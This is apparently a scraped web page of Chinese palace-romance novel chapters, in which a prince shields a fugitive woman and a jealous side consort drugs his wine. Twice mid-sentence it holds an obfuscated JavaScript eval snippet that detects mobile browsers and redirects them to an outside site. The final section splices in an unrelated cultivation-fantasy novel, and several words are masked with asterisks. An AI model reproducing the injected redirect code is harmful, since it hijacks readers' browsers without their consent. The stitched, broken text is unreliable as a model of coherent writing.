“萧怀瑾送来的人,果然比旁人多了不止一个心眼。” 方才在正厅里还姐妹相称的四人,一离开萧凌川的视线,那层伪装便瞬间碎裂。 霍娴月猛地停下脚步,第一个发难。 她盯着崔芝兰的眼神冰冷,话语里满是毫不掩饰的尖刻:“昨日瞧你一副与世无争的模样,原来都是装的!崔芝兰,你的心机可比我们深沉多了!但你别忘了,王爷与宁王素来不睦,你这个宁王的表妹,才是最不可能承宠的那一个!” 面对这扑面而来的敌意,崔芝兰竟只是浅浅一笑,那抹笑意在冬日清冷的空气里,显得格外从容。 “我们既已同入景王府,谁又不想得到王爷的青眼?这种事,本就是各凭本事,没什么好说的。” 她这副云淡风轻的模样,更加激怒了另外三人。 她们气得脸色铁青,王碧珊忍不住啐了一口:“不自量力!” “那便走着瞧,”崔芝兰的目光缓缓扫过她们三人,语气依旧平淡,“看看最终,是谁能先在这景王府里站稳脚跟。” “好啊,比就比!” “你以为我们怕你?” “别以为我们不知道,你就是个不受宠的嫡长女,如今你父亲只宠爱继室所生的次嫡女,才将你塞进这景王府的!你们崔家压根就没打算帮景王!你这样的人,也配和我们争?” 女人们的争执声尖锐而刺耳,她们旁若无人地唇枪舌剑,字字句句都透着算计与不甘。 这些话,一字不落地飘进了不远处假山后的姜姝宁耳中。 她拢了拢身上的披风,心中只觉得荒谬。 这个她避之不及、日夜谋划着如何逃离的牢笼,竟是别人削尖了脑袋也想挤进来,还妄图在此地争得一席之地的荣华乡。 吾之**,彼之蜜糖。 她无声地叹了口气,转身正欲悄然离去,身后,却猛然响起一道厉声质问。 “站住!你是什么人?” 第250章 把她架在火上烤 第二百五十章把她架在火上烤 女人们尖锐的质问声像冰冷的针,刺得姜姝宁头皮发麻。 她避无可避,只能缓缓转过身,将手中的花盆悄悄往身后藏了藏,垂下眼帘,屈膝行礼。 “见过四位侧妃,我是……” 她的声音在舌尖打了个转,一时不知如何介绍自己。 目光瞥见手中的花草,她脑中灵光一闪,连忙道:“我是府里的花匠。” “放肆!”王碧珊的声音尖利无比,“谁准你在主子面前自称‘我’了?连规矩都不懂的东西!” 霍娴月上前一步,毫不掩饰地将她从头到脚细细打量。 当她的目光落在姜姝宁那张未施粉黛却依旧清丽的面容上时,眼中瞬间燃起嫉妒的火焰。 “一个花匠,竟敢打扮得如此招摇?瞧你这副狐媚样子,是想勾引谁?” 面对这蛮横无理的指责,姜姝宁只觉得荒谬至极。 她从来不知道,侧妃原来是这般蛮不讲理的存在。 一旁的赵若晚忽然发出一声极轻的嗤笑。 “你笑什么?”霍娴月和王碧珊语气不善。 “我笑你们被猪油蒙了心,她说什么你们就信什么?”赵若晚扫了姜姝宁一眼,“你们难道不觉得,这位‘花匠’,有几分眼熟吗?” 此言一出,王碧珊和霍娴月立刻重新审视起姜姝宁。 这一次,她们看得更仔细,也终于从那张脸上看出了端倪。 两人的脸色瞬间浮现出混杂着惊恐与鄙夷的神色。 “她……她不就是那个姜……” “她是本王的心上人。” 一道冰冷而沉稳的声音毫无征兆地响起,截断了她们的话。 不知何时,萧凌川已悄然来到她们身后。 他神色冷峻如山,走过来时,却极其自然地伸出手,以一种不容抗拒的占有姿态,将姜姝宁圈入怀中。 姜姝宁的身体瞬间僵硬。 他的气息将她笼罩,那看似保护的姿态,对她而言却更像是一种当众宣示所有权的枷锁。 她下意识地想挣脱,可他的手臂却如铁钳般纹丝不动。 “她叫宁儿,”萧凌川的目光冷冷扫过四位侧妃惊变的脸,一字一句地宣布,“从前是花匠,如今是本王的贴身侍女。在这景王府,她的地位仅次于本王。往后,你们见了她,也需行礼。” 这番话如同一道惊雷,炸得几个侧妃脸色煞白。 姜姝宁更是不可置信地抬头看着萧凌川。 他疯了吗? 他到底想做什么? 这种“抬举”,分明是把她架在火上烤! “王爷!”王碧珊和霍娴月最先忍不住,失声嚷道,“您这是什么意思?竟要我们堂堂侧妃,给一个花匠行礼?” 萧凌川的眼神愈发冰冷,仿佛在看几个跳梁小丑。 “本王的女人,将来便是这景王府的正妃。你们区区侧妃,给她行礼,有何不妥?” 赵若晚到底是她们中最沉得住气的,她强忍着震惊,冷笑一声:“王爷,恕妾身直言,她分明就是姜丞相之女姜姝宁,那个杀了瑞王爱妾的逃犯!” 这一声,让空气彻底凝固。 姜姝宁的心沉到了谷底。 “本王说她是花匠宁儿,她便是花匠宁儿!”萧凌川的语气里带上了森然的杀意,他死死盯着赵若晚,“怎么,赵侧妃是想状告本王私藏逃犯?你可想清楚了,若本王被抄家问罪,你身为侧妃,难道还能独善其身不成?” 这赤果果的威胁,让赵若晚的脸“唰”地一下变得惨白。 她紧紧咬住下唇,再也说不出一个字。 就在这剑拔**张之际,一直沉默的崔芝兰忽然上前一步,对着姜姝宁盈盈一拜,姿态谦卑恭敬。 “妾身见过宁儿姑娘。” 她这一拜,打破了僵局。 随即,她转向另外三位脸色铁青的侧妃,柔声劝道:“姐姐们,我们叨扰王爷与宁儿姑娘许久了,不如先回藏锦阁吧。” 几个侧妃心中纵有万般不甘与怨恨,可面对萧凌川那毫不掩饰的偏袒与威胁,也只能将这口恶气硬生生咽下。 她们不情不愿地草草行了个礼,转身愤然离去。 走在回院的小径上,王碧珊终于忍不住爆发了:“一个不知廉耻的逃犯而已,王爷竟如此护着她!当真是不把我们放在眼里!” “王爷何止是不把我们放在眼里,”赵若晚抚平了被风吹乱的鬓角,语气里满是讥诮,“他连我们身后的母族,也未曾放在眼里。你们若还妄想着从他身上得到一丝半点的夫君宠爱,就未免太天真了。” “那个姜姝宁,不过有几分勾人的姿色,就把王爷迷得神魂颠倒,即便杀了人也能被如此护着,她能做到,我们凭什么不能?!”霍娴月的话里淬满了酸涩的妒意,“既然被王爷青睐便能有如此殊荣,那我更要加把劲,定要将王爷的心夺过来!” “说得对!我们联手,还斗不过她一个?”王碧珊立刻附和。 赵若晚看着她们,像看两个傻子,冷笑依旧:“只怕还没捕获王爷的心,你们的小命就先没了。” 她们叽叽喳喳争论不休,唯有崔芝兰全程沉默,仿佛置身事外。 王碧珊察觉到她的异样,不悦地叫了她一声:“喂,崔侧妃!方才就属你对那‘花匠’最客气!她可是来跟我们抢夫君的,你何必给她那么大的脸面?” 崔芝兰停下脚步,浅浅一笑,那笑容里带着一丝洞悉世事的通透。 “我不过蒲柳之姿,即便没有那位宁儿姑娘,王爷也不会多看我一眼,这点自知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16050291|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之明,我还是有的。与其一进府便处处忤逆王爷,不如顺着他的心意。只要能在这景王府安然度日,便已足矣。” “你倒是会说!”霍娴月嘲讽道,“之前是谁说要各凭本事争得王爷青眼的?怎么才见了那狐狸精一面,就立刻自谦起来了?” 崔芝兰勾了勾唇,眼底波澜不惊。 “那叫认清现实。姐姐们方才不是也看见了,王爷待那位‘花匠’的态度?我们想得王爷青眼,最终目的,不过是为了在这府里站稳脚跟。如今,既然对他的心上人客气些,就能达到同样的目的,又何乐而不为呢?” 这番话说得另外几人哑口无言。 她们谁也没有察觉,当崔芝兰垂下眼眸时,那眼中一闪而过的、复杂难辨的精光。 表哥,我见到你心心念念的姜姑娘了。 她似乎……比你我想象中的,更得景王的青睐。 看来,想帮她离开这景王府,并非易事。 一行人怀着各异的心思向外走,王碧珊与霍娴月余怒未消,脚步走得又急又重,赵若晚则依旧是那副冷眼旁观的姿态。 唯有崔芝兰,不紧不慢地缀在最后,仿佛在欣赏着主院里疏落的冬景。 跟在她们身后负责恭送的,是一个名叫柳叶的二等婢女。 她低眉顺眼,步履无声,存在感极低。 就在即将踏出主院月洞门的那一刻,崔芝兰宽大的云袖看似不经意地拂过门边的翠竹。 只听“咚”的一声闷响,一抹微弱的金光从她袖中滑落,掉进了墙角的积雪里。 前面的三人毫无察觉,只有跟在最后的柳叶看得分明。 她快步上前,弯腰将那东西捡了起来。 入手一沉,竟是一枚小巧却分量十足的金锞子。 柳叶的呼吸瞬间急促了半分,她攥紧了金锞子,快步追上已经走出院门的崔芝兰,压低了声音,恭敬地呈上。 “崔侧妃,您的东西掉了。” 崔芝兰回过头,目光在那枚金锞子上淡淡一扫,随即落在柳叶那张既紧张又带着一丝期盼的脸上,温婉一笑。 “这不是我的东西。” “可是,奴婢方才明明看见……” 她的话还未说完,崔芝兰已上前一步,手握住柳叶的手,轻轻拍了拍。 “既然是你捡到的,那便是你的。”崔芝兰的声音轻柔得像一阵风,却字字清晰地送入柳叶耳中,“收好了,莫要声张。” 柳叶瞬间会意。 “……是,奴婢明白了,谢侧妃恩典。往后……若有用得上柳叶的地方,还请侧妃随时开口!” “嗯。”崔芝兰满意地点点头,松开手,再不多言,转身袅袅离去。 从此,她便成功地在这困着姜姝宁的主院里,安下了属于她的第一双眼睛。 第251章 成为她的裙下之臣 第二百五十一章成为她的裙下之臣 侧妃们一走,姜姝宁便挣开萧凌川的手,径直朝后院而去。 那里的积雪早已被她亲手清扫干净,露出湿润的黑土,几株她费尽心血寻来的草药,正怯生生地冒出嫩绿的新芽。 她蹲下身,拿起一把小小的花铲开始松土。 萧凌川跟在她身后,语气里还带着一丝刚刚**全场的自得:“放心,有本王在,她们不敢对你如何。” 姜姝宁动作一顿,脸上浮起嘲讽之色:“王爷说笑了。若不是今日在此处遇见我,她们或许连‘如何对付我’这个念头都不会有。王爷若真心为我好,就应该将我尽快送走,以免又跟侧妃们起不必要的冲突。” “你什么意思?”萧凌川脸色沉了下来,他上前一步,强硬地握住她的手腕,“你就这么想离开这里?” 手腕被他攥得生疼,姜姝宁终于被迫抬起头,直视着他那双满是占有欲和不解的眼眸。 “王爷,我如今的身份,是一个不能见光的逃犯!您将我捧得越高,便是将我架在火上烤得越旺!那些侧妃才是这王府名正言顺的女主人,今日她们被迫向我行礼,心中积攒的恨意与嫉妒,迟早会化作最毒的利刃刺向我。您若真想让我平安,就该让我做个无声无息的影子,而不是像现在这样,把我变成所有人眼中最刺目的靶子!” “荒谬!”萧凌川被她的话激怒,手上的力道更重了,“你是本王的女人,未来的景王妃!她们一群用来安抚朝堂的棋子,也配与你相提并论?本王今日就是要让所有人都看清楚,在这王府里,谁才是本王心尖上的人,是她们得罪不起的!谁敢对你不利,本王就让她尝尝什么叫生不如死!” 他的话语里充满了不容置喙的霸道与血腥的警告。 姜姝宁见他这幅模样,干脆放弃了继续说服他的念头,也不挣扎了,任由他攥着。 他根本不明白,后宅的刀光剑影,从来都不是靠男人的权势就能抵挡的。 女人的嫉妒,是淬了蜜的毒,是无声的刀,能在你最没有防备的时候,**于无形。 他今日那番“抬举”,不是在保护她,而是在她背后画了一个巨大的靶心,然后亲手将她推到了所有明枪暗箭之前。 从今往后,这王府里的四个女主人,都将视她为敌人。 萧凌川见她久久不语,那份安静让他心头发慌。 他松开她的手腕,看到那截皓腕上多了一道刺目的红痕。 “……抱歉,是本王不知轻重。”他的声音沙哑了几分,带着一丝自己都未察觉的懊悔。 他看着她埋头侍弄花草的样子,笨拙地试图弥补,“这些……要不,本王来帮你?” “不必了!” 姜姝宁几乎是下意识地脱口而出,声音里的抗拒尖锐得让她自己都吃了一惊。 察觉到自己的失态,她连忙垂下眼帘,用一种刻意疏离的平静来掩饰方才的慌乱:“王爷身份尊贵,怎能沾染这些泥尘?况且,这些草药大多根系娇弱,经不起生手折腾,还是我自己来就好。” 遭到如此直白的拒绝,萧凌川眸色渐渐沉了下来,他负手立在她身后,声音里带着几分晦暗不明的试探。 “说起来,我记得……从前的你,最爱的是牡丹,怎么如今,倒喜欢上这些不知名的寻常花草了?” 姜姝宁轻抚一株嫩芽的动作微微一顿。 “牡丹虽美,却太过矜贵,需要人精心伺候,一阵风雨便可能零落成泥。”她的语气很淡,“大概是死过一次的人,才明白活着有多不易。比起那些中看不中用的富贵花,这些寻常草药,虽不起眼,却好养活,还能入药救人。王爷,我如今……更喜欢这些能抓在手里的实在东西。” 云淡风轻的话语,却字字都像针,扎在萧凌川的心上。 前世她如牡丹般绚烂夺目,却也如牡丹般娇贵易逝。 他何尝不希望她变得“好养活”一些? 他自诩算无遗策,能看透朝堂的波诡云谲,看得穿敌人的阴谋诡计。 可他唯独没有看懂她。 他算到了所有人的心,却算漏了她的绝望。 姜姝宁不知道身后的人思绪有多千转百回,她只继续专注于手下的那片小小天地。 她没有察觉到,萧凌川趁她不备,飞快地顺走了几株绿植的枝叶。 回到书房,他将那几片被体温濡湿的绿叶摊在案上,沉声吩咐:“凌风,立刻将这些东西送去孙神医府上。务必让他验清楚,这每一株的品性、功效!” “是,王爷!”凌风领命,小心翼翼地将叶片收好,不敢有丝毫耽搁。 —— 萧凌川新娶侧妃尚不足一月,皇帝便下旨举办春日宴,皇室宗亲,三品以上朝臣皆需参加。 当景王萧凌川的车驾抵达时,几乎吸引了所有人的目光。 他并未如其他成婚的王爷那般,只携一位正妃或受宠的侧妃出席,而是以一种近乎夸张的姿态,将新纳的四位门阀嫡女侧妃,尽数带在了身边。 一行五人,浩浩荡荡。 萧凌川本就容貌出众,如今还带着衣着华贵的四个侧妃,更加突兀无比。 一时间,丝竹声都仿佛弱了下去,无数道或惊诧、或探究、或嫉恨的目光,尽数胶着在他们身上。 御座之上,身着明黄龙袍的皇帝萧政贤,在看到这一幕时,原本就因体弱而略显苍白的脸色,瞬间又难看了几分。 他自己只携皇后一人在身边,萧凌川如此张扬的举动,无异于是一记响亮的耳光,抽在了他这位九五之尊的脸上。 “四哥,你今日未免太……高调了吧?”趁着入席前的间隙,七王爷萧琪钰悄悄凑到萧凌川身边,压低了声音,“娶四位门阀嫡女已是石破天惊,如今竟还将她们全部带入宫宴,你这不是明晃晃地在打皇兄的脸吗?” 萧凌 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萧凌川却连眼皮都未曾抬一下,他慢条斯理地执起桌上的白玉酒杯,送到唇边,优雅地轻啜了一口,才懒懒地开口:“陛下贵为万乘之尊,后宫却仅有皇后一人,确实太过冷清,于皇家开枝散叶的重任有碍。依臣愚见,陛下是该早日广纳贤妃,充盈后宫,方为国之大幸。” 此话一出,底下那些家中皆有待嫁贵女的门阀大臣们,立刻纷纷出言附和。 “景王殿下所言极是!陛下当为江山社稷着想啊!” “臣等恳请陛下广纳后宫,为我大邺绵延子嗣!” 萧政贤的脸色已经由白转青。 他自幼体弱,男女之事上本就力不从心,如今还要逼他纳妃,这与当众羞辱他有何区别? 关键时刻,还是皇后顾晚樱起身,端庄温婉地解围。 她朝着众人微微一笑,端起酒杯:“并非陛下不愿纳妃,实是本宫善妒,容不下旁人,这才求着陛下专宠于我。是本宫的不是,本宫自罚一杯,还请诸位莫要再为难陛下了。” 说完,她仰头将杯中酒一饮而尽,姿态飒然,既保全了皇帝的颜面,也堵住了悠悠众口。 一场风波看似平息。 萧凌川的席位旁,一名低眉顺眼的宫女躬身上前,为他空了的酒杯重新斟满了琥珀色的酒液。 他刚刚在口舌之争中大获全胜,心情正处在一种睥睨一切的快意中,并未多想,端起酒杯便一饮而尽。 他没有注意到,在他身后不远处,侧妃王碧珊的席位上,那张妆容艳丽的脸庞上,唇角正无声地勾起一抹得逞的笑意。 她垂在案下的手,早已因激动而攥得死紧,指甲深深掐入了掌心。 嫁入王府一月,萧凌川对她视若无睹,连衣角都不让她碰到。 今日总算让她逮到这个机会了。 过了今夜,她定要让这个不可一世的景王成为她的裙下臣! 第252章 尊严被踩进泥里 第二百五十二章尊严被踩进泥里 丝竹声悠扬,觥筹交错,春日宴的气氛正值酣然。 王碧珊端坐席间,目光却未曾离开过主位旁的萧凌川。 她计算着药效发作的时间,朝那名早已被买通的宫女递去了一个隐晦眼神。 那宫女心领神会,手腕一抖,一整壶琥珀色的酒液便不偏不倚地,尽数泼洒在了萧凌川的玄色锦袍上。 “哎呀!”宫女发出一声夸张的惊叫,旋即“噗通”一声跪倒在地,连连叩首,“王爷恕罪!奴婢该死!奴婢不是故意的!” “笨手笨脚的东西!”王碧珊立刻起身,佯装盛怒地呵斥道,“冲撞了王爷,还不快退下!” 宫女如蒙大赦,立刻捧着那壶下了药的罪证,慌不择路地退了下去。 王碧珊才转过身,换上一副柔婉体贴的面容,关切地看着萧凌川湿透的衣襟:“王爷,您的衣衫都湿了,沾了酒气终归不妥。这附近便有更衣的偏殿,不若……由妾身陪您过去换一身洁净的衣物吧?” “不必了。”萧凌川的声音冷得像淬了冰,他甚至没有看她一眼,“让凌风随本王去即可。” 意图被如此干脆地回绝,王碧珊脸上的笑容僵了一瞬。 好在她早已想好了后招。 她故作转身,手肘“不经意”地撞翻了自己桌前的酒杯,满杯的酒液顿时洒了她一身,裙摆上晕开大片深色的痕迹。 她发出一声恰到好处的低呼,抬起一双水汽氤氲的无辜眼眸,楚楚可怜地望着他:“王爷……您看,这下,妾身也不得不去换一身衣衫了。正好,可以与您同路。” 萧凌川瞥了她一眼,那眼神深不见底,看不出喜怒。 他没有再说话,只是面无表情地站起身,径直朝着偏殿的方向走去。 王碧珊心中一喜,连忙提着裙摆,亦步亦趋地追了上去。 偏殿之内,烛火通明,却安静至极。 凌风准备随萧凌川一同进内室时,王碧珊却抢先一步,试图跟进去。 凌风立刻横臂拦住了她,面色冷肃:“王侧妃,王爷正在更衣,您在外等候即可。” “放肆!”王碧珊的脸立刻沉了下来,她抬高下巴,摆足了侧妃的架子,“我是王爷的女人,他更衣,自然当由我来伺候。怎么,你一个小小侍卫,也敢忤逆本侧妃不成?” “你……”凌风气结,却又碍于主仆有别,一时语塞。 就在两人僵持不下时,内室里传来萧凌川那听不出情绪的声音,平静,却带着不容抗拒的威严:“凌风,让王侧妃进来。” 王碧珊大喜过望,她立刻换上一副柔媚又娇羞的表情,推开门,用一种能让任何男人骨头都酥了的语调唤道:“王爷……” 然而,那满腔的柔情蜜意,在看清殿内景象的瞬间,悉数冻结在了脸上。 内室里,萧凌川早已换好了一身崭新的墨色云纹锦袍,身姿笔挺地立在殿中。 他负手而立,正用一种冰冷刺骨、仿佛在看一个死物的眼神,漠然地注视着她。 他的脸上,没有半分她预想中被药物催动的情动与潮红,只有一片能将人冻伤的霜寒。 怎么跟预想的不一样? 王碧珊心头猛地一沉。 难道药效还没发作?还是……下的量不够? 看着她那副惊疑不定的表情,萧凌川的唇角,缓缓勾起一抹极尽嘲讽的嗤笑。 “别猜了。”他开口,声音比这殿中的空气还要冷,“若本王那么轻易就能被女人算计,如今这景王府的后院,早就妻妾成群了,又怎么会轮到你来当本王的侧妃?” 这话如同一记响亮的耳光,狠狠抽在王碧珊的脸上! 被当场揭穿诡计的羞耻与难堪,让她瞬间面红耳赤,血气直冲头顶。 但她毕竟出身门阀,心机深沉,短暂的慌乱后,竟迅速恢复了镇定,开始装疯卖傻:“王爷在说什么?妾身……妾身听不懂。妾身只是担心王爷,所以才想着来帮王爷更衣的,并无他意啊!” “不肯承认?”萧凌川冷笑一声,缓缓吐出两个字,“来人!” 话音刚落,殿门被人从外推开。 两名侍卫押着方才那个被收买的宫女走了进来,另一名侍卫手中,则捧着那个被宫女带走的酒壶。 “王爷,人证物证俱在,这酒里有没有被下药,一验便知!” 那宫女顿时瘫软在地,哭喊着求饶:“求王爷恕罪,求王爷恕罪!一切都是王侧妃指使奴婢做的,是她让奴婢在酒里下药,也是她示意奴婢将酒泼到王爷身上的!” 萧凌川的目光重新落在王碧珊惨白的脸上,一字一顿地问:“王侧妃,现在,你还有什么话说?” 铁证如山,再无狡辩的余地。 王碧珊身体一软,双膝跪地,梨花带泪:“妾身知错了!王爷,妾身真的知错了!妾身不该鬼迷心窍给王爷下药,可妾身……妾身实在太爱慕王爷了!自嫁入王府,王爷对妾身不闻不问,妾身求见无门,实在是相思成疾,才出此下策啊!” “爱慕?” 萧凌川低低地笑出了声,笑声里尽是彻骨的凉薄与嘲讽。 “本王倒还记得,当年本王还只是个备受冷落、无权无势的四皇子时,不知是哪位门阀贵女,当着众人的面,对本王嗤之以鼻。” 他缓缓踱步到她面前,居高临下地看着她,眼神锐利如刀,仿佛能剥开她所有的伪装,直抵她最肮脏的内里。 “大长公主的寿宴上,你说,‘那位四皇子就算生得一副好皮囊又如何?也改不了他身上流着一半南月人的低贱血统,终 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她顿时觉得无地自容。 “表嫂,这景王油盐不进,我……我实在不知道该如何是好了!”王碧珊抓着姜瑶真的手,哭着诉苦,“我那日在主院,还看到你那个好姐姐了!她明明是个杀了人的逃犯,景王却护她护得跟眼珠子似的!我不甘心,我凭什么要输给一个**犯!” “傻表妹。”姜瑶真眼底深处掠过一丝幽微的、晦暗的光芒,“你的法子没错,只是……下错对象了。你不该给景王下药的,你应该把药下在姜姝宁的身上。只有彻底离间他们,让他对姜姝宁彻底厌恶,你才有机会,走进景王的心里!” 第253章 从云端跌落谷底 第二百五十三章从云端跌落谷底 宴席上的喧嚣与浮华被远远抛在身后,景王府的深夜寂静如水。 萧凌川回到主院时,那张在宫宴上始终保持着清明冷峻的面容,此刻已是绷到了极限。 他脚步沉稳,但只有他自己知道,每一步都耗费着巨大的心神去压制体内那股愈演愈烈的燥热。 一踏入寝殿范围,他便对身旁的凌风沉声吩咐道:“本王有些不适,扶本王进去。” 凌风是个直肠子,闻言下意识地便要开口:“王爷,您方才在宫里不是没事……” 话还没说完,就被萧凌川一道裹挟着警告与杀气的眼神狠狠剜了过来。 凌风一个激灵,瞬间心领神会,连忙改口道:“哎呀,王爷您肯定是喝醉了,步子都虚浮了!属下这就扶您回房歇息!” 说着,他便架起萧凌川的手臂,半拖半扶地将他送进了寝殿。 殿内烛火通明,姜姝宁正坐在灯下,手里捧着一本医书,听到动静抬起头来,便看到了这番场景。 她有些意外地站起身:“王爷这是怎么了?在宫里喝醉了?” 她看到的,是萧凌川那张俊美得毫无瑕疵的脸上,泛着一层不正常的潮红,连一向清冷的眼尾都染上了绯色。 凌风正想顺着她的话往下演,萧凌川却已不耐地挥了挥手,示意他退下。 他怕凌风这个喜欢画蛇添足的家伙多说一句,会被姜姝宁误以为他在装病。 今夜百密一疏,他忘了随身携带孙神医特制的那瓶解药,没想到王碧珊竟大胆到在宫宴上给他下药,下的药还远比他想象的要阴毒霸道。 大部分药性虽被他用深厚的内力强行压制住了,但仍有一部分,如同跗骨之蛆,在他四肢百骸、奇经八脉中横冲直撞,不断侵蚀着他的理智。 凌风识趣地退下,并体贴地关上了殿门。 “咔哒”一声轻响,隔绝了外界的一切。 殿内,只剩下他们二人。 几乎是在殿门闭合的瞬间,萧凌川身上那层强撑的伪装轰然碎裂,他一个踉跄,径直扑向了姜姝宁,双臂铁箍般将她死死抱住。 滚烫的、带着灼人温度的身体骤然贴近,雄浑的气息混合着酒气与一种奇异的甜香,瞬间将姜姝宁包裹。 他将脸深深埋在她的颈窝,呼吸粗重而滚烫,吹拂着她本就敏感的肌肤。 “姝宁……”他的声音嘶哑得不成样子,带着压抑的痛苦和一丝连他自己都未曾察觉的委屈,“本王中药了。” 姜姝宁整个身体都僵住了。 她能清晰地感觉到他身体不正常的颤抖,以及那透过衣料传递而来的、几乎要将她灼伤的惊人热度。 不用猜也知道,他中的是什么药。 “王爷可是要吃解药?”她强自镇定地问。 “来不及了。”萧凌川收紧了手臂,将她揉进怀里,仿佛只有这样才能缓解那焚心蚀骨的焦灼。 他说话间已经喘息不止,分不清是因为药效的折磨,还是因为她身上那股令他魂牵梦绕的、独有的清冷馨香,勾起了他最原始的念想。 “王侧妃……下的这药,狠毒无比,已侵入血脉……怕是寻常解药,也难解……” 他如此高傲的一个人,此刻却在她面前,袒露了最狼狈脆弱的一面。 听着他断断续续的解释,姜姝宁心中忽然涌起一股难以言喻的复杂情绪。 有些可怜他。 身为倾权朝野的景王,却被妾室如此算计。 一个侧妃竟敢明目张胆地给他下药,这背后,定是那些盘根错节的门阀世家在推波助澜,急于用自家女儿作为棋子,牢牢绑住他这棵参天大树,借以谋取更大的权势与利益。 高傲如他,又怎会如那些人所愿? “王爷别担心。”姜姝宁抬手,轻轻拍了拍他紧绷的后背,用一种出奇冷静的语气开口安慰道,“我知道怎么帮你缓解。” 萧凌川猛地抬起头,那双一向锐利深邃的桃花眼,此刻竟真的水润氤氲,蒙着一层薄薄的雾气。 他眼中满是惊愕,随即被一种巨大的、不敢置信的期待所取代。 他凝视着她,声音喑哑地问:“王妃……愿意……用手……帮本王纾解?” 前世,她在床笫之间何其羞涩,别说主动,就连直视他的身体都会羞得满脸通红。 如今,她竟主动提出…… 姜姝宁看着他那双充满希冀的眼睛,平静地从他怀中挣脱出些许空间,垂下眼帘,避开了他过于灼热的视线。 “王爷再忍耐片刻,我去净手。” “好……”他喉结滚动,几乎是从牙缝里挤出这个字,“本王等你。” 不过片刻,姜姝宁就回来了。 萧凌川几乎是屏息听着她的脚步声,由远及近,最终停在了床前。 她带着一身沐浴后净手的皂角清香,那干净的气息钻入他的鼻腔,竟让他体内那股被强压的燥热,愈发汹涌地叫嚣起来。 他早已按捺不住,自行 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姜姝宁的表情却平静得没有一丝波澜,她迎上他复杂的目光,冷静地解释道:“王爷放心,只是小伤。王侧妃所下之药已经侵入血脉,须得以放血之法,佐以银针渡穴,再猛的烈性春药,我也能帮你尽数逼出体外。” 放血? 银针? 逼出体外? 萧凌川只觉得被一盆夹着冰碴的雪水,从头到脚浇了个透心凉。 他脑子里嗡嗡作响,好半晌才找回自己的声音,那声音干涩得像是砂纸在摩擦。 “你……你只是想帮本王放血解毒?那你方才,为何……说要去净手?” “自然是为了干净。”姜姝宁的回答理所当然,“王爷身子金贵,伤口若是不洁,染了风邪或是污秽,岂非得不偿失?为您疗伤,净手是第一步。” “……” 萧凌川喉头一哽,再也说不出一个字。 他缓缓地、疲惫至极地闭上了眼睛,将所有翻涌的情绪尽数掩盖在那长长的睫羽之下。 原来,她说的“帮你缓解”,是这个意思。 原来,她说的“净手”,也是这个意思。 原来,从头到尾,都只是他被药性烧昏了头,一个人在这里自作多情,想入非非。 真是……荒唐透顶。 从云端跌落谷底,原来,只需一瞬。 第254章 只是单纯想吻你 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 